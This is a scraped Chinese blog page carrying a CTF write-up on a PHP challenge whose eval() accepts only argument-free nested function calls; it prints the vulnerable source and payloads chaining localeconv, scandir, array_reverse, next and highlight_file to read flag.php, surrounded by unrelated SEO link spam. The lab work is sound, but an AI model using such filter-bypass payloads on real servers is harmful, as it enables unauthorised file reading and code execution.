当前位置: 首页 > news >正文

快速网站推广公司自学搭建网站

快速网站推广公司,自学搭建网站,岗网站制作,收录网打开题目 进行常规的检测漏洞&#xff0c;扫描目录发现存在.git文件夹下的文件存在 <?php include "flag.php"; echo "flag在哪里呢&#xff1f;<br>"; if(isset($_GET[exp])) { if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\…

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>
使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv());
结果如下
array(18) 

["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
 

http://www.yayakq.cn/news/114298/

相关文章:

  • 购物网站主页模板网站色彩搭配
  • 统计网站建设程序门户网站 jsp
  • 网站加盟城市分站建设网站的请示
  • 樟木头仿做网站专门做美食的网站6
  • 福州网站建设服务wordpress文件储存
  • 肥东网站制作广告片
  • 公司网站开发费用计入phpcms 还有人用吗
  • 巴音郭楞库尔勒网站建设seo做关键词怎么收费的
  • 瑞安网站开发大连龙彩科技的网站在谁家做
  • 襄阳网站建设制作费用龙岗seo网络推广
  • 大型网站建设规范Wordpress不显示功能
  • 网站群建设代理网站做软件
  • 网站是做排行岳阳推广公司
  • 系统管家做网站优化好的网络公司
  • 网站关键词公司江西科技学校网站建设
  • 怎样不花钱做网站wordpress移动底部菜单插件
  • 网站开源网络营销的方法有哪些?
  • 做企业网站备案收费吗阿里网站备案寄材料
  • 多语言版本网站网站做快照怎么做
  • c蔡甸区城乡建设局网站动态字设计网站
  • wordpress 数据表前缀wordpress谷歌字体优化
  • 金融直播网站建设wordpress 导航函数
  • 网站搜索引擎优化的基本内容做二手网站有哪些问题
  • 中药材网站开发网件路由器怎么设置
  • 网站制作公司 郑州辽宁城乡建设网站
  • 如何做淘宝客的网站wordpress打开
  • 电商网站制作设计详情页通用模板
  • 网站后台怎么修改前台的某个超链接网址百度网址大全 官网首页
  • 佛山市城市建设档案馆网站嘉兴设计公司有哪些
  • 哪些网站可以做直播网站公共模板是什么意思